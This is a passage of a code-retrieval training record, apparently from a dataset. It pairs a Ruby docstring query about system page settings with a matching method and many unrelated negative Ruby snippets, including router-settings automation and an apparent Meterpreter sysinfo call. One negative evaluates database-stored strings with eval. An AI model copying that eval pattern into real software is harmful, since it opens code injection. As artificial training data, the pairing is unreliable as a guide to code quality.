"0.6041562", "0.60378945", "0.6037502", "0.6017646", "0.5996054", "0.5991529", "0.5984173", "0.5979651", "0.5972039", "0.5960723", "0.59599286", "0.5955428", "0.595424" ]
0.0
-1
Returns an array of system page settings for a given page, or nil if the page is not a system page.
def system_pages(pageid) pages = Array.new if self.site_default_page_id == pageid pages << "Site default page" end if self.not_found_page_id == pageid pages << "Not found page" end if self.permission_denied_page_id == pageid pages << "Permission denied page" end if self.session_expired_page_id == pageid pages << "Session expired page" end if pages.length > 0 return pages else return nil end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def system_pages(pageid)\n pages = []\n\n pages << 'Site default page' if site_default_page_id == pageid\n pages << 'Not found page' if not_found_page_id == pageid\n pages << 'Permission denied page' if permission_denied_page_id == pageid\n pages << 'Session expired page' if session_expired_page_id == pageid\n pages unless pages.empty?\n end", "def index\n @sysconfigs = Sysconfig.order(created_at: :desc).page(params[:page])\n end", "def available_settings\n []\n end", "def index\n @systemsettings = Systemsetting.all\n end", "def index\n @system_node = SystemNode.find(params[:system_node_id])\n @settings = @system_node.settings\n end", "def available_settings\n return @@settings_by_type[self.resource_type]\n end", "def settings_list\n setting.list\n end", "def settings\n @settings ||= get('/settings')['settings']\n end", "def index\n @system_configs = SystemConfig.all\n end", "def get_all_settings\n return @db[:settings].as_hash(:name, :body) if onblock(:u, -1, @client).admin?\n end", "def site_settings(site = nil)\n site_sym = site.to_sym\n return @site_settings_cache[site_sym] if site && @site_settings_cache[site_sym]\n \n if site && @general_settings[site_sym]\n site_obj = @general_settings[site_sym]\n group_dir = site_obj[:group_dir]\n if group_dir\n group = @general_settings[group_dir.to_sym] || {}\n result = @general_settings[:global].merge(group).merge(site_obj)\n else\n result = @general_settings[:global].merge(site_obj)\n end\n @site_settings_cache[site_sym] ||= result\n return result\n else\n nil\n end\n end", "def page_sys_data_dictionary\n 7\n end", "def index\n @site_options = SiteOption.page params[:page]\n end", "def config\n system_config.send(service_name.to_sym) || []\n end", "def get_page(site,page)\n page.blank? ? Page.find_by_slug_and_site_id(Page::INDEX, site.id, :include => { :parts => :part_type }) : Page.find_by_slug_and_site_id(page, site.id, :include => { :parts => :part_type} )\n end", "def pages\n @pages ||= []\n end", "def get_settings\n settings.get\n end", "def system_settings\n #\"ports\" : \"phttp 80 shttp 8080 phttps 443 shttps 8443 ptelnet 23 stelnet 8023 telnets 992\"\n # Due to a bug in the BHR, we can't change the primary HTTP port for remote administration yet... leaving out.\n tags = %w(-secondary_http -primary_https -secondary_https -telnet -secondary_telnet -secure_telnet)\n values = tags.inject(\"\") { |x, d| x << \"#{d} #{rand(rand(100)+1 > 10 ? 1023 : 65534)+1} \" }.strip\n condition = values.scan(/-.*?\\d{1,5}/).inject(\"\") { |x, d| x << d.delete(\"-\").capitalize.sub('_', ' ').sub('https', 'HTTPS').sub('http', 'HTTP').sub('telnet', 'Telnet').sub('secure', 'Secure').sub(/(\\d{1,5})/, 'on port \\1')+\"\\n\" }.strip\n return { \"system_settings\" => { \"section\" => \"advanced-system settings\", \"ports\" => values }}, condition\nend", "def get_settings\n request :get, \"_settings\"\n end", "def get_settings\n request :get, \"_settings\"\n end", "def discover_paginate_templates(site_pages)\r\n candidates = []\r\n site_pages.select do |page|\r\n # If the page has the enabled config set, supports any type of file name html or md\r\n if page.data['pagination'].is_a?(Hash) && page.data['pagination']['enabled']\r\n candidates << page\r\n end\r\n end\r\n return candidates\r\n end", "def set_system_managed(pagefile)\n converge_by(\"set #{pagefile} to System Managed\") do\n logger.trace(\"Running \")\n powershell_exec! <<~EOM\n $page_file = \"#{pagefile}\"\n $driveLetter = $page_file.split(':')[0]\n Get-CimInstance -ClassName Win32_PageFileSetting -Filter \"SettingID='pagefile.sys @ $($driveLetter):'\" -ErrorAction Stop | Set-CimInstance -Property @{\n InitialSize = 0\n MaximumSize = 0}\n EOM\n end\n end", "def pages\n @pages.values\n end", "def get_settings_items(controller)\n return [] unless settings_proc\n\n controller.instance_exec(&settings_proc)\n end", "def get_settings\n return @client.raw(\"get\", \"/config/settings\")\n end", "def bios_settings\n provider.bios_settings\n end", "def settings\n return {} if description.blank?\n @settings ||= description['settings']\n return {} if @settings.blank?\n @settings.symbolize_keys\n end", "def settings\n @settings_manager\n end", "def index\n @sys_properties = Sys::Property.find_mine(params).paginate(page: params[:page])\n end", "def data_dictionary_page\n page(page_sys_data_dictionary) if system_space?\n end", "def systems\n @systems ||= []\n end", "def system_services\n find_by_group(SYSTEM_GROUP)\n end", "def settings\n # JSONSettingDataSource.file_semaphore.synchronize do\n return @settings\n # end\n end", "def page_settings(key = nil)\n ps = {\n english_bound: {\n paperwidth: 5.375,\n paperheight: 8.375,\n inner: 0.6875,\n outer: 0.5208,\n top: 0.7733,\n bottom: 0.471,\n headsep: 0.1,\n },\n english_regular: {\n paperwidth: 5.4375,\n paperheight: 8.375,\n inner: 0.4531,\n outer: 0.4844,\n top: 0.7733,\n bottom: 0.471,\n headsep: 0.1,\n },\n foreign_bound: {\n paperwidth: 5.375,\n paperheight: 8.375,\n inner: 0.6875,\n outer: 0.5208,\n top: 0.76,\n bottom: 0.5,\n headsep: 0.1,\n },\n foreign_regular: {\n paperwidth: 5.4375,\n paperheight: 8.375,\n inner: 0.625,\n outer: 0.6458,\n top: 0.76,\n bottom: 0.5,\n headsep: 0.1,\n },\n }\n ps = ps[key] if key\n ps\n end", "def set_system_setting\n @system_setting = System.settings\n end", "def available_settings\n instance.available_settings\n end", "def system_settings(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"System Settings\" page.\n begin\n @ff.link(:text, 'System Settings').click\n self.msg(rule_name, :info, 'System Settings', 'Reached page \\'System Settings\\'.')\n rescue\n self.msg(rule_name, :error, 'System Settings', 'Did not reach \\'System Settings\\' page')\n return\n end\n \n # Check the key.\n if ( info.has_key?('section') &&\n info.has_key?('subsection') ) then\n # Right,go on.\n else\n self.msg(rule_name,:error,'local_administration','Some key NOT found.')\n return\n end \n \n # Parse the file.\n \n # \"Wireless Broadband Router\\'s Hostname\"\n if info.has_key?('Wireless Broadband Router\\'s Hostname')\n \n @ff.text_field(:name,'host_name').value=(info['Wireless Broadband Router\\'s Hostname'])\n self.msg(rule_name,:info,'Wireless Broadband Router\\'s Hostname',info['Wireless Broadband Router\\'s Hostname'])\n \n end\n \n # \"Local Domain\"\n if info.has_key?('Local Domain')\n \n #\n @ff.text_field(:name,'domain_name').value=(info['Local Domain'])\n self.msg(rule_name,:info,'Local Domain',info['Local Domain'])\n \n end\n \n # \"Automatic Refresh of System Monitoring Web Pages\"\n if info.has_key?('Automatic Refresh of System Monitoring Web Pages')\n \n #\n case info['Automatic Refresh of System Monitoring Web Pages']\n when 'on'\n #\n @ff.checkbox(:name,'auto_refresh').set\n when 'off'\n #\n @ff.checkbox(:name,'auto_refresh').clear\n else\n self.msg(rule_name,:error,'system_settings','No such auto refresh value.')\n return\n end\n \n self.msg(rule_name,:info,'Automatic Refresh of System Monitoring Web Pages',info['Automatic Refresh of System Monitoring Web Pages'])\n \n end \n \n # \"Prompt for Password When Accessing via LAN\"\n if info.has_key?('Prompt for Password When Accessing via LAN')\n \n case info['Prompt for Password When Accessing via LAN']\n \n when 'on'\n \n # Set \"Prompt for Password When Accessing via LAN\"\n @ff.checkbox(:name,'prompt_lan_password').set\n self.msg(rule_name,:info,'Prompt for Password When Accessing via LAN',info['Prompt for Password When Accessing via LAN'])\n \n when 'off'\n \n # Clear \"Prompt for Password When Accessing via LAN\"\n @ff.checkbox(:name,'prompt_lan_password').clear\n self.msg(rule_name,:info,'Prompt for Password When Accessing via LAN',info['Prompt for Password When Accessing via LAN'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'','Did NOT find the value in \\'Prompt for Password When Accessing via LAN\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # \"Warn User Before Configuration Changes\"\n if info.has_key?('Warn User Before Configuration Changes')\n \n case info['Warn User Before Configuration Changes']\n \n when 'on'\n \n # Set \"Warn User Before Configuration Changes\"\n @ff.checkbox(:name,'confirm_needed').set\n self.msg(rule_name,:info,'Warn User Before Configuration Changes',info['Warn User Before Configuration Changes'])\n \n when 'off'\n \n # Clear \"Warn User Before Configuration Changes\"\n @ff.checkbox(:name,'confirm_needed').clear\n self.msg(rule_name,:info,'Warn User Before Configuration Changes',info['Warn User Before Configuration Changes'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'','Did NOT find the value in \\'Warn User Before Configuration Changes\\'.')\n return\n \n end # end of case\n \n end # end of if \n \n # \"Session Lifetime\"\n if info.has_key?('Session Lifetime')\n \n #\n @ff.text_field(:name,'session_lifetime').value=(info['Session Lifetime'])\n self.msg(rule_name,:info,'Session Lifetime',info['Session Lifetime'])\n \n end \n \n # \"Configure number of concurrent users that can be logged into the router\"\n if info.has_key?('Configure number of concurrent users that can be logged into the router')\n \n #\n @ff.select_list(:name,'concurrent users').set_value(info['Configure number of concurrent users that can be logged into the router'])\n self.msg(rule_name,:info,'Configure number of concurrent users that can be logged into the router',info['Configure number of concurrent users that can be logged into the router'])\n \n end \n \n # \"Primary HTTP Management Port\"\n if info.has_key?('Primary HTTP Management Port')\n \n #\n @ff.text_field(:name,'mng_port_http_primary').value=(info['Primary HTTP Management Port'])\n self.msg(rule_name,:info,'Primary HTTP Management Port',info['Primary HTTP Management Port'])\n \n end \n \n # \"Secondary HTTP Management Port\"\n if info.has_key?('Secondary HTTP Management Port')\n \n #\n @ff.text_field(:name,'mng_port_http_secondary').value=(info['Secondary HTTP Management Port'])\n self.msg(rule_name,:info,'Secondary HTTP Management Port',info['Secondary HTTP Management Port'])\n \n end \n \n # \"Primary HTTPS Management Port\"\n if info.has_key?('Primary HTTPS Management Port')\n \n #\n @ff.text_field(:name,'mng_port_https_primary').value=(info['Primary HTTPS Management Port'])\n self.msg(rule_name,:info,'Primary HTTPS Management Port',info['Primary HTTPS Management Port'])\n \n end \n \n # \"Secondary HTTPS Management Port\"\n if info.has_key?('Secondary HTTPS Management Port')\n \n #\n @ff.text_field(:name,'mng_port_https_secondary').value=(info['Secondary HTTPS Management Port'])\n self.msg(rule_name,:info,'Secondary HTTPS Management Port',info['Secondary HTTPS Management Port'])\n \n end \n \n # \"Primary Telnet Port\"\n if info.has_key?('Primary Telnet Port')\n \n #\n @ff.text_field(:name,'mng_port_telnet_primary').value=(info['Primary Telnet Port'])\n self.msg(rule_name,:info,'Primary Telnet Port',info['Primary Telnet Port'])\n \n end \n \n # \"Secondary Telnet Port\"\n if info.has_key?('Secondary Telnet Port')\n \n #\n @ff.text_field(:name,'mng_port_telnet_secondary').value=(info['Secondary Telnet Port'])\n self.msg(rule_name,:info,'Secondary Telnet Port',info['Secondary Telnet Port'])\n \n end \n # \"Primary HTTPS Management Client Authentication\"\n if info.has_key?('Primary HTTPS Management Client Authentication')\n \n case info['Primary HTTPS Management Client Authentication']\n when 'None'\n @ff.select_list(:name,'mng_auth_https_primary').select_value(\"1\")\n when 'Optional'\n @ff.select_list(:name,'mng_auth_https_primary').select_value(\"2\")\n when 'Required'\n @ff.select_list(:name,'mng_auth_https_primary').select_value(\"3\")\n else\n # Wrong here.\n self.msg(rule_name,:error,'System Settings','No such \\'Primary HTTPS Management Client Authentication\\' value.')\n return\n end # end of case\n \n self.msg(rule_name,:info,'Primary HTTPS Management Client Authentication',info['Primary HTTPS Management Client Authentication'])\n \n end \n \n # \"Secondary HTTPS Management Client Authentication\"\n if info.has_key?('Secondary HTTPS Management Client Authentication')\n \n case info['Secondary HTTPS Management Client Authentication']\n when 'None'\n @ff.select_list(:name,'mng_auth_https_secondary').select_value(\"1\")\n when 'Optional'\n @ff.select_list(:name,'mng_auth_https_secondary').select_value(\"2\")\n when 'Required'\n @ff.select_list(:name,'mng_auth_https_secondary').select_value(\"3\")\n else\n # Wrong here.\n self.msg(rule_name,:error,'System Settings','No such \\'Secondary HTTPS Management Client Authentication\\' value.')\n return\n end # end of case\n \n self.msg(rule_name,:info,'Secondary HTTPS Management Client Authentication',info['Secondary HTTPS Management Client Authentication'])\n \n end \n \n # \"Secure Telnet over SSL Client Authentication\"\n if info.has_key?('Secure Telnet over SSL Client Authentication')\n \n case info['Secure Telnet over SSL Client Authentication']\n when 'None'\n @ff.select_list(:name,'mng_auth_telnets').select_value(\"1\")\n when 'Optional'\n @ff.select_list(:name,'mng_auth_telnets').select_value(\"2\")\n when 'Required'\n @ff.select_list(:name,'mng_auth_telnets').select_value(\"3\")\n else\n # Wrong here.\n self.msg(rule_name,:error,'System Settings','No such \\'Secure Telnet over SSL Client Authentication\\' value.')\n return\n end # end of case\n \n self.msg(rule_name,:info,'Secure Telnet over SSL Client Authentication',info['Secure Telnet over SSL Client Authentication'])\n \n end \n \n # \"System Enable Logging\"\n if info.has_key?('System Enable Logging')\n \n case info['System Enable Logging']\n \n when 'on'\n \n # Set \"System Enable Logging\"\n @ff.checkbox(:name,'var_logging_enabled').set\n self.msg(rule_name,:info,'System Enable Logging',info['System Enable Logging'])\n \n when 'off'\n \n # Clear \"System Enable Logging\"\n @ff.checkbox(:name,'var_logging_enabled').clear\n self.msg(rule_name,:info,'System Enable Logging',info['System Enable Logging'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'System Settings','Did NOT find the value in \\'System Enable Logging\\'.')\n return\n \n end # end of case\n \n end # end of if \n \n @ff.wait\n\n # \"System Low Capacity Notification Enabled\"\n if info.has_key?('System Low Capacity Notification Enabled') and\n info['System Enable Logging'] == \"on\"\n \n case info['System Low Capacity Notification Enabled']\n \n when 'on'\n \n # Set \"System Low Capacity Notification Enabled\"\n @ff.checkbox(:name,'var_notify_enabled').set\n self.msg(rule_name,:info,'System Low Capacity Notification Enabled',info['System Low Capacity Notification Enabled'])\n \n # \"System Allowed Capacity Before Email Notification\"\n if info.has_key?('System Allowed Capacity Before Email Notification')\n \n begin\n @ff.text_field(:name,'var_notify_limit').value=(info['System Allowed Capacity Before Email Notification'])\n self.msg(rule_name,:info,'System Allowed Capacity Before Email Notification',info['System Allowed Capacity Before Email Notification'])\n rescue\n self.msg(rule_name,:info,'System Settings','No such text field : \\'System Allowed Capacity Before Email Notification\\'')\n return\n end\n \n end \n \n when 'off'\n \n # Clear \"System Low Capacity Notification Enabled\"\n @ff.checkbox(:name,'var_notify_enabled').clear\n self.msg(rule_name,:info,'System Low Capacity Notification Enabled',info['System Low Capacity Notification Enabled'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'System Settings','Did NOT find the value in \\'System Low Capacity Notification Enabled\\'.')\n return\n \n end # end of case\n \n end # end of if \n \n # \"System System Log Buffer Size\"\n if info.has_key?('System System Log Buffer Size') and\n info['System Enable Logging'] == \"on\"\n\n @ff.text_field(:name,'system_buf_size').value=(info['System System Log Buffer Size'])\n self.msg(rule_name,:info,'System System Log Buffer Size',info['System System Log Buffer Size'])\n \n end \n \n # \"System Remote System Notify Level\"\n if info.has_key?('System Remote System Notify Level') and\n info['System Enable Logging'] == \"on\"\n \n case info['System Remote System Notify Level']\n when 'Warning'\n @ff.select_list(:name,'system_notify_level').select(\"Warning\")\n when 'None'\n @ff.select_list(:name,'system_notify_level').select(\"None\")\n when 'Error'\n @ff.select_list(:name,'system_notify_level').select(\"Error\")\n when 'Information'\n @ff.select_list(:name,'system_notify_level').select(\"Information\") \n else\n # Wrong here.\n self.msg(rule_name,:error,'System Settings','No such \\'System Remote System Notify Level\\' value.')\n return\n end # end of case\n \n self.msg(rule_name,:info,'System Remote System Notify Level',info['System Remote System Notify Level'])\n \n end \n # \"Remote System Host IP Address\"\n #if info.has_hey?('Remote System Host IP Address') \n\n if info.has_key?('Remote System Host IP Address') and info['Remote System Host IP Address'].size > 0\n octets=info['Remote System Host IP Address'].split('.')\n @ff.text_field(:name, 'syslog_remote_ip0').value=(octets[0])\n @ff.text_field(:name, 'syslog_remote_ip1').value=(octets[1])\n @ff.text_field(:name, 'syslog_remote_ip2').value=(octets[2])\n @ff.text_field(:name, 'syslog_remote_ip3').value=(octets[3])\n self.msg(rule_name, :info, 'Remote System Host IP Address', info['Remote System Host IP Address'])\n end \n # \"Security Low Capacity Notification Enabled\"\n if info.has_key?('Security Low Capacity Notification Enabled')\n \n case info['Security Low Capacity Notification Enabled']\n \n when 'on'\n \n # Set \"Security Low Capacity Notification Enabled\"\n @ff.checkbox(:name,'fw_notify_enabled').set\n self.msg(rule_name,:info,'Security Low Capacity Notification Enabled',info['Security Low Capacity Notification Enabled'])\n \n # \"Security Allowed Capacity Before Email Notification\"\n if info.has_key?('Security Allowed Capacity Before Email Notification') and\n @ff.text.include?'Allowed Capacity Before Email Notification'\n \n @ff.text_field(:name,'fw_notify_limit').value=(info['Security Allowed Capacity Before Email Notification'])\n self.msg(rule_name,:info,'Security Allowed Capacity Before Email Notification',info['Security Allowed Capacity Before Email Notification'])\n \n end \n \n when 'off'\n \n # Clear \"Security Low Capacity Notification Enabled\"\n @ff.checkbox(:name,'fw_notify_enabled').clear\n self.msg(rule_name,:info,'Security Low Capacity Notification Enabled',info['Security Low Capacity Notification Enabled'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'System Settings','Did NOT find the value in \\'Security Low Capacity Notification Enabled\\'.')\n return\n \n end # end of case\n \n end # end of if \n \n # \"Security Security Log Buffer Size\"\n if info.has_key?('Security Security Log Buffer Size') and\n @ff.text.include?'Security Log Buffer Size'\n \n @ff.text_field(:name,'security_buf_size').value=(info['Security Security Log Buffer Size'])\n self.msg(rule_name,:info,'Security Security Log Buffer Size',info['Security Security Log Buffer Size'])\n \n end \n \n # \"Security Remote Security Notify Level\"\n if info.has_key?('Security Remote Security Notify Level') and\n @ff.text.include?'Remote Security Notify Level'\n \n case info['Security Remote Security Notify Level']\n when 'Warning'\n @ff.select_list(:name,'security_notify_level').select(\"Warning\")\n when 'None'\n @ff.select_list(:name,'security_notify_level').select(\"None\")\n when 'Error'\n @ff.select_list(:name,'security_notify_level').select(\"Error\")\n when 'Information'\n @ff.select_list(:name,'security_notify_level').select(\"Information\") \n else\n # Wrong here.\n self.msg(rule_name,:error,'System Settings','No such \\'Security Remote Security Notify Level\\' value.')\n return\n end # end of case\n \n self.msg(rule_name,:info,'Security Remote Security Notify Level',info['Security Remote Security Notify Level'])\n \n end \n\n # \"Remote System Host IP Address\"\n\n if info.has_key?('Remote Security Host IP Address') and info['Remote Security Host IP Address'].size > 0\n octets=info['Remote Security Host IP Address'].split('.')\n @ff.text_field(:name, 'security_remote_ip0').value=(octets[0])\n @ff.text_field(:name, 'security_remote_ip1').value=(octets[1])\n @ff.text_field(:name, 'security_remote_ip2').value=(octets[2])\n @ff.text_field(:name, 'security_remote_ip3').value=(octets[3])\n self.msg(rule_name, :info, 'Remote Security Host IP Address', info['Remote Security Host IP Address'])\n end\n \n # \"Outgoing Server\"\n if info.has_key?('Outgoing Server') and\n @ff.text.include?'Server'\n \n @ff.text_field(:name,'email_smtp_server').value=(info['Outgoing Server'])\n self.msg(rule_name,:info,'Outgoing Server',info['Outgoing Server'])\n \n end \n \n # \"Outgoing From Email Address\"\n if info.has_key?('Outgoing From Email Address') and\n @ff.text.include?'From Email Address'\n \n @ff.text_field(:name,'email_from_address').value=(info['Outgoing From Email Address'])\n self.msg(rule_name,:info,'Outgoing From Email Address',info['Outgoing From Email Address'])\n \n end \n \n # \"Outgoing Port\"\n if info.has_key?('Outgoing Port') and\n @ff.text.include?'Port'\n \n @ff.text_field(:name,'email_smtp_port').value=(info['Outgoing Port'])\n self.msg(rule_name,:info,'Outgoing Port',info['Outgoing Port'])\n \n end \n \n # \"Auto WAN Detection Enabled\"\n if info.has_key?('Auto WAN Detection Enabled')\n \n case info['Auto WAN Detection Enabled']\n \n when 'on'\n \n # Set \"Auto WAN Detection Enabled\"\n @ff.checkbox(:name,'auto_wan_detection_enabled').set\n self.msg(rule_name,:info,'Auto WAN Detection Enabled',info['Auto WAN Detection Enabled'])\n \n when 'off'\n \n # Clear \"Security Low Capacity Notification Enabled\"\n @ff.checkbox(:name,'auto_wan_detection_enabled').clear\n self.msg(rule_name,:info,'Auto WAN Detection Enabled',info['Auto WAN Detection Enabled'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'System Settings','Did NOT find the value in \\'Auto WAN Detection Enabled\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # \"Auto WAN Detection PPP Timeout\"\n if info.has_key?('PPP Timeout') and \n @ff.text.include?'PPP Timeout'\n \n @ff.text_field(:name,'ppp_timeout').value=(info['PPP Timeout'])\n self.msg(rule_name,:info,'Auto WAN Detection PPP Timeout',info['PPP Timeout'])\n \n end \n \n # \"Auto WAN Detection DHCP Timeout\"\n if info.has_key?('DHCP Timeout') and\n @ff.text.include?'DHCP Timeout'\n \n @ff.text_field(:name,'dhcp_timeout').value=(info['DHCP Timeout'])\n self.msg(rule_name,:info,'Auto WAN Detection DHCP Timeout',info['DHCP Timeout'])\n \n end \n \n # \"Auto WAN Detection Number of Cycles\"\n if info.has_key?('Number of Cycles') and\n @ff.text.include?'Number of Cycles'\n \n @ff.text_field(:name,'number_of_cycles').value=(info['Number of Cycles'])\n self.msg(rule_name,:info,'Auto WAN Detection Number of Cycles',info['Number of Cycles'])\n \n end \n \n # \"Auto Detection Continuous Trying\"\n if info.has_key?('Auto Detection Continuous Trying') and\n @ff.text.include?'Auto Detection Continuous Trying'\n \n case info['Auto Detection Continuous Trying']\n \n when 'on'\n \n # Set \"Auto Detection Continuous Trying\"\n @ff.checkbox(:name,'continuous_trying').set\n self.msg(rule_name,:info,'Auto Detection Continuous Trying',info['Auto Detection Continuous Trying'])\n \n when 'off'\n \n # Clear \"Auto Detection Continuous Trying\"\n @ff.checkbox(:name,'continuous_trying').clear\n self.msg(rule_name,:info,'Auto Detection Continuous Trying',info['Auto Detection Continuous Trying'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'System Settings','Did NOT find the value in \\'Auto Detection Continuous Trying\\'.')\n return\n \n end # end of case\n \n end # end of if \n \n # Apply for the change\n @ff.link(:text,'Apply').click\n \n # Error message?\n if @ff.text.include?'Input Errors'\n # Error here.\n \n # Find the table.\n sTable = false\n @ff.tables.each do |t|\n if ( t.text.include? ':' and \n ( not t.text.include? 'Input Errors') and\n ( not t.text.include? 'Cancel') and\n t.row_count >= 1 )then\n sTable = t\n break\n end\n end\n \n if sTable == false\n # Wrong here\n self.msg(rule_name,:error,'System Settings','Did NOT find the target table.')\n return\n end\n \n sTable.each do |row|\n \n if row[1] == \"\" or row[2] == nil\n next\n end\n \n self.msg(rule_name,:error,row[1],row[2])\n \n end\n \n # Click the \"cancel\"\n @ff.link(:text,'Cancel').click\n \n return\n \n end \n \n if @ff.text.include?'Apply'\n\t@ff.link(:text,'Apply').click\n end\n\n self.msg(rule_name,:info,'System Settings','SUCCEESS') \n \n end", "def core_getHideUsersPermissionsSettings\n return CORE_SUPERUSERSPERMISSIONSHIDESETTINGS if defined? CORE_SUPERUSERSPERMISSIONSHIDESETTINGS\n # accedo al config.yml\n directory = core_getCacheDirectory\n config = YAML.load(\n File.read(File.expand_path(\"#{directory}/config.yml\", __FILE__))\n )\n # controllo che il file di configurazione esista e abbia i dati necessari\n return false if !config['hide_users_permissions'] || config['hide_users_permissions'].nil?\n # estraggo lista impostazioni utenti da nascondere\n settings = config['hide_users_permissions'].to_s.split(',')\n # definisco output\n output = []\n # riempio file di output\n settings.each do |setting|\n setting.slice! ' '\n if setting\n raise 'Permission value not correct on hide_users_permissions config' unless (1..11).to_a.include? setting.to_i\n output.push(setting.to_i)\n end\n end\n # ritorno l'output\n return output\n end", "def get_pages\n sitemap.resources.select { |resource| resource.data.type == 'page' }\n .sort_by { |r| get_page_priority(r.data) }\n end", "def system_preferences\n #TODO remove true from the following line after presentation. Dont want the invitation only session to get bogged up during pres\n if true or session[:system_preferences].blank?\n active_preferences = HashWithIndifferentAccess.new()\n system_preferences = SystemPreference.all(:conditions => ['active = ?', true])\n system_preferences.each do |preference|\n if (preference.start_date.blank? or preference.start_date <= Date.now) and (preference.end_date.blank? or preference.end_date >= Date.now)\n if preference.constraints.blank? or eval(preference.constraints)\n active_preferences[preference.preference_key] = preference.preference_value\n end\n end\n end\n session[:system_preferences] = active_preferences\n return active_preferences\n else\n return session[:system_preferences]\n end\n end", "def system_info\n si = SysInfo.new\n si.to_hash\n rescue \n {}\n end", "def pages\n @pages ||= get_pages\n end", "def get_settings\n get_uri = @data['uri'] + '/settings'\n response = @client.rest_get(get_uri, {}, @api_version)\n @client.response_handler(response)\n end", "def sysinfo\n\t\trequest = Packet.create_request('stdapi_sys_config_sysinfo')\n\t\tresponse = client.send_request(request)\n\n\t\t{\n\t\t\t'Computer' => response.get_tlv_value(TLV_TYPE_COMPUTER_NAME),\n\t\t\t'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME),\n\t\t}\n\tend", "def page_paths\n @pages_paths ||= Dir[File.join(Serious.pages, '*')].sort\n end", "def get_site_setting(site, setting = nil)\n if setting && site_settings(site) && site_settings(site)[setting.to_sym]\n site_settings(site)[setting.to_sym]\n else \n nil\n end\n end", "def get_settings\n get_uri = @data['uri'] + '/settings'\n response = @client.rest_get(get_uri, {}, @api_version)\n @client.response_handler(response)\n end", "def get_page_meta\n @page_meta = PageMeta.find_by(request_path: request.path)\n end", "def appl_settings\n @appl_settings\n end", "def get_page_nav\n\n @page_nav = Page.where(display_in_menu: 't').where(is_published: 't').order(id: :asc)\n\n end", "def systems\n @systems ||= (\n systems = []\n systems << Roll if defined?(::Library)\n systems << Gem if defined?(::Gem)\n systems << Site\n systems\n )\n end", "def settings\n click_mobile_menu\n get_mobile_menu_element('settings')\n end", "def read_settings(uuid = @uuid)\n vm = json { execute_prlctl('list', uuid, '--info', '--no-header', '--json') }\n vm.last\n end", "def sections\n @pages.collect { |p| p.sections }.flatten\n end", "def get_settings(service, number)\n hash = client.get(Settings.get_path(service, number))\n return nil if hash.nil?\n\n hash['settings'] = Hash[['general.default_host', 'general.default_ttl'].collect { |var| [var, hash.delete(var)] }]\n Settings.new(hash, self)\n end", "def pages\n @pages ||= Transit::Page.roots.order('name ASC').all\n end", "def page_meta\n @page_meta ||= {}\n end", "def settings\n\n\t\tif @settings.nil? then\n\t\t\thash = {}\n\t\t\tproperty_settings.includes(:property_definition).each do |setting|\n\t\t\t\tp_def = setting.property_definition\n\t\t\t\tvalue = case p_def.def_type\n\t\t\t\t\t\t\twhen \"string\"\n\t\t\t\t\t\t\t\tsetting.string\n\t\t\t\t\t\t\twhen \"text\"\n\t\t\t\t\t\t\t\tsetting.string\n\t\t\t\t\t\t\twhen \"html\"\n\t\t\t\t\t\t\t\tsetting.string\n\t\t\t\t\t\t\twhen \"integer\"\n\t\t\t\t\t\t\t\tsetting.number.to_i\n\t\t\t\t\t\t\twhen \"file\" \n\t\t\t\t\t\t\t\tMedia.find(setting.number.to_i) unless setting.number.nil?\n\t\t\t\t\t\t\twhen \"url\"\n\t\t\t\t\t\t\t\tPage.find(setting.number.to_i) unless setting.number.nil?\n\t\t\t\t\t\t\twhen \"date\"\n\t\t\t\t\t\t\t\tsetting.string\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t:dontknowhowtointerpretthis\n\t\t\t\t\t\tend\n\t\t\t\thash[setting.property_definition.label.to_sym] = value\n\t\t\tend\n\t\t\t@settings = OpenStruct.new(hash)\n\t\tend\t\t\t\n\n\t\t@settings\n\tend", "def get_settings(name)\n result = @db.execute(\"SELECT * FROM #{MONITOR_INFO_TABLE_NAME} WHERE name=?\", name)[0]\n result.nil? ? {} : {:name => result[0], :description => result[1]}\n end", "def pages\n return @pages\n end", "def systemsetting_params\n params.require(:systemsetting).permit(:tipo_de_pago_id, :numero_abandono, :tiempo_abandono)\n end", "def settings\n CucumberSupport.current_page_settings\n end", "def index\n @cms_page_sections = Cms::PageSection.all\n end", "def pages\n @pages\n end", "def settings\n\t\tif setting = params[\"settings\"]\n\t\t\tsetting.each do |k,v|\n\t\t\t\tv = v == \"1\" if v == \"1\" or v == \"0\"\n\t\t\t\tlogger.debug \"Setting #{k} to #{v.inspect}\"\n\t\t\t\tSettings[k] = v\n\t\t\tend\n\t\tend\n\t\thead :ok\n\tend", "def page_pool\n\td = Dir.entries(settings.statics_folder.to_s)\n\td_filt = Array.new\n\td.each do |i|\n\t\n\tcase settings.deep_or_flat_structure\n\t\twhen 'flat'\n\t\t\tif i.include? \".html\"\n\t\t\t\td_filt << i\n\t\t\tend\n\t\twhen 'deep'\n\t\t\tif i.include? \"dir_\"\n\t\t\t\td_filt << i\n\t\t\tend\n\t\tend\n\tend\n\treturn d_filt\nend", "def page_items\n sections.map(&:page_items).flatten\n end", "def index\n @application_settings = ApplicationSetting.all\n end", "def sites_to_load\n @appl_settings[:registered_config_modules]\n end", "def trx_sys\n page(page_trx_sys) if system_space?\n end", "def set_systemsetting\n @systemsetting = Systemsetting.find(params[:id])\n end", "def list_settings\n configure do |settings|\n settings.reject { |_, setting| setting.internal? }.each do |name, setting|\n @env.ui.info \"#{name}\\t#{setting.description}\", bold: true\n @env.ui.info indent(setting.help, 2) unless setting.help.nil?\n value_info = \"Current value: #{setting.value}\"\n value_info += ' (default)' unless setting.set?\n @env.ui.info indent(value_info, 2)\n @env.ui.info ''\n end\n end\n end", "def blog_pages\n blog_page.pages\n end", "def settings\n return @settings\n end", "def settings\n return @settings\n end", "def sitemap\n @pages = Page.sitemap\n end", "def admin_pages_stats\n get_admin_stats \"pages\"\n end", "def public_pages\n\n pages = {}\n\n # Add page contents\n ContentManagerSystem::Content.all(:type => {:id => 'page'}).map do |content| \n pages.store(content.title, 